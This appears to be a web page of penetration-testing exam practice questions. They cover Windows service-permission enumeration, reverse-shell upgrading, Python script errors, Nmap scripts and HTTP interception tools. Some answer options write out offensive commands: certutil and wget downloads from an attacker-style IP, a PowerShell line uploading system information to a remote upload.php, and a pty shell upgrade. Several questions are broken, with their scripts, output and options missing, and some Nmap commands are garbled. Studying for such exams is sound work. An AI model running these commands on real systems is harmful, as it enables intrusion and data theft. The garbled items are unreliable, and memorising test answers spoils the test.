A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?

• A.certutil -urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe
• B.powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt')
• C.schtasks /query /fo LIST /v | find /I "Next Run Time:"
• D.wget http://192.168.2.124/windows-binaries/accesschk64.exe -O accesschk64.exe

Comment: *

Name: *

Email: *

Verification: *

A penetration tester is able to use a command injection vulnerability in a web application to get a reverse shell on a system After running a few commands, the tester runs the following:
python -c 'import pty; pty.spawn("/bin/bash")'
Which of the following actions Is the penetration tester performing?

• A.Privilege escalation
• B.Upgrading the shell
• C.Writing a script for persistence
• D.Building a bind shell

Comment: *

Name: *

Email: *

Verification: *

A penetration tester created the following script to use in an engagement:

However, the tester is receiving the following error when trying to run the script:

Which of the following is the reason for the error?

• A.The argv variable was not defined.
• B.The sys variable was not defined.
• C.The argv module was not imported.
• D.The sys module was not imported.

Comment: *

Name: *

Email: *

Verification: *

A penetration tester executes the following Nmap command and obtains the following output:

Which of the following commands would best help the penetration tester discover an exploitable service?
A)

B)

C)

D)

• A.nmap -v -p 25 -- soript smtp-enum-users remotehost
• B.nmap -v -- script=mysql-info.nse remotehost
• C.nmap --ocript=omb-brute.noe remotehoat
• D.nmap -p 3306 -- script "http*vuln*" remotehost

Comment: *

Name: *

Email: *

Verification: *

Which of the following tools would be the best to use to intercept an HTTP response at an API, change its content, and forward it back to the origin mobile device?

• A.Drozer
• B.Burp Suite
• C.Android SDK Tools
• D.MobSF

Comment: *

Name: *

Email: *

Verification: *